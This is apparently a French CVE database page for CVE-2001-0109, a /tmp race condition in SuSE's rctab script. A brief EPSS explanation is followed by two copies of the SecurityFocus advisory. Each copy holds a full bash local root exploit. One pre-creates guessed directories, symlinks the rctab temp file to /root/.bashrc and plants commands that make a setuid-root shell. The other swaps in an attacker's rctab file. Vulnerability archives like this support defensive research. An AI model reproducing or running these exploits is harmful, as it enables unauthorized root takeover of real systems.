CVE-2001-0109 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/2207/info rctab is the Run Control Tab script included with the SuSE distribution of the Linux Operating System. SuSE is a freely available, Open Source Operating system maintained by SuSE Incorporated. A race condition in the rctab script could allow an attacker to either gain elevated privileges, or append to and corrupt system files. This problem exists due to the insecure creation of files in the /tmp directory by the rctab script. Upon execution of the rctab script, rctab creates a subdirectory in the /tmp directory, using directory name rctmpdir.[pid of rctab process]. The script, which is normally run by root, does not check for an already existing rctmpdir.[pid of rctab process] directory. Additionally, the use of the -p flag with mkdir does not generate an error when the directory already exists, allowing the script to continue executing. This problem makes it possible for a malicious user to guess the future process id of the rctab process, and create a range of directories that either will overwrite system files, or append to other system files and potentially allow elevation of privileges. #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC=/tmp/fakerc RCTMPDIR="rctmpdir" RCTMP="rctmp" WRITETO="/root/.bashrc" SUSH="/tmp/sush" # what we want to write to $WRITETO (oops...) declare -i idx idx=0 rchead="" while test "$idx" -lt 128 ; do rchead="$rchead " idx=$(($idx+1)) done rchead="$rchead chown root.root $SUSH; chmod 4777 $SUSH | cat >/dev/null <<_DUPA_" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| local rctab root exploit |" echo "| you would need luck |" echo "| and an admin stupid enough |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # test sys awkl=$(which awk) if test -x $awkl ; then echo "[+] awk found" else echo "[-] awk not found, edit this script :-)" exit 1 fi if test -r /sbin/rctab ; then echo "[+] rctab found" else echo "[-] rctab not found, sorry" exit 1 fi # make suid shell echo "[+] compiling suid shell" cat << _DUPA_ >/tmp/sush.c #include <stdio.h> main(int argc, char** argv) {setuid(0); setgid(0); execv("/bin/sh", argv); } _DUPA_ # compile shell gcc /tmp/sush.c -o $SUSH # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 000 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" # append our cmd echo >$rcfile "$rchead" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for editor declare -i vipid vipid=0 while [ $vipid -lt 1 ] do vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` done echo " root is editing now at pid $vipid, wait for writing $rcfile" sleep 1 pfile="/proc/$vipid" # relink declare -i lcnt lcnt=$(wc -l $rcfile|awk '{print $1-2 }') tail -n$lcnt $rcfile >$rcfile.new rm -rf $rcfile ln -sf $WRITETO $rcfile if test -r "$WRITETO" ; then md=$(cat $WRITETO|md5sum) fi if test -r $WRITETO ; then ac=$(ls -l --full-time $WRITETO) else ac="none" fi # wait for root to write rctab or exit while test -d $pfile do if test -r "$WRITETO" ; then oc="$(ls -l --full-time $WRITETO)" if test "$ac" != "$oc" ; then echo "[+] $WRITETO replaced" break fi fi done rm -rf $rcfile; ln -s $rcfile.new $rcfile if test "$md" = "$(cat $WRITETO|md5sum)" ; then echo "[-] bashrc not changed, sorry" exit 2 else echo "[+] gotcha! wait for root to login" fi # now wait for root to login :-) while test -O $SUSH ; do sleep 1 done echo "[+] suid shell at $SUSH" sleep 1 $SUSH

source: https://www.securityfocus.com/bid/2207/info rctab is the Run Control Tab script included with the SuSE distribution of the Linux Operating System. SuSE is a freely available, Open Source Operating system maintained by SuSE Incorporated. A race condition in the rctab script could allow an attacker to either gain elevated privileges, or append to and corrupt system files. This problem exists due to the insecure creation of files in the /tmp directory by the rctab script. Upon execution of the rctab script, rctab creates a subdirectory in the /tmp directory, using directory name rctmpdir.[pid of rctab process]. The script, which is normally run by root, does not check for an already existing rctmpdir.[pid of rctab process] directory. Additionally, the use of the -p flag with mkdir does not generate an error when the directory already exists, allowing the script to continue executing. This problem makes it possible for a malicious user to guess the future process id of the rctab process, and create a range of directories that either will overwrite system files, or append to other system files and potentially allow elevation of privileges. #!/bin/bash # any user can force changes to runlevels # by IhaQueR declare -i PLOW declare -i PHIGH # CONFIG: PLOW=1 PHIGH=3 TMP="/tmp" FAKERC="/tmp/fakerc" RCTMPDIR="rctmpdir" RCTMP="rctmp" _pwd="$PWD" # echo "----------------------------------------------" echo "| |" echo "| rctab exploit |" echo "| by IhaQueR '2001 |" echo "| |" echo "----------------------------------------------" echo # crate dirs echo "[+] now creating directories" echo " this may take a while" echo declare -i cnt cnt=$PLOW umask 700 while [ $cnt -lt $PHIGH ] do cnt=$(($cnt+1)) if [ $(($cnt % 128)) -eq 0 ] ; then printf "[%6d] " $cnt fi; if [ $(($cnt % 1024)) -eq 0 ] ; then echo fi; mkdir -p "$TMP/$RCTMPDIR.$cnt" done echo echo echo " finished creating dirs" echo # wait for rctab -e declare -i rctabpid rctabpid=0 echo "[+] waiting for root to run rctab" while [ 1 ] do rctabpid=`ps aux|grep "rctab -e"|grep root|head -n1|awk '{print $2}'` if test $rctabpid -gt 1 ; then break fi sleep 1 done # rcfile in rcfile="/tmp/rctmpdir.$rctabpid/$RCTMP" echo "[+] got rctab -e at pid $rctabpid" # test if we own the directory rcdir="/tmp/rctmpdir.$rctabpid" if test -O $rcdir ; then echo "[+] ok, we own the dir" else echo "[-] hm, we are not owner" exit 2 fi # wait for root to finish editing sleep 4 declare -i vipid vipid=`ps aux|grep rctmpdir|grep root|awk '{print $2}'` echo " root is editing now at $vipid, wait for $rcfile" pfile="/proc/$vipid" while test -d $pfile do echo -n >/dev/null done rm -rf $rcfile cp $FAKERC $rcfile echo "[+] gotcha!" echo " installed new rctab from $FAKERC"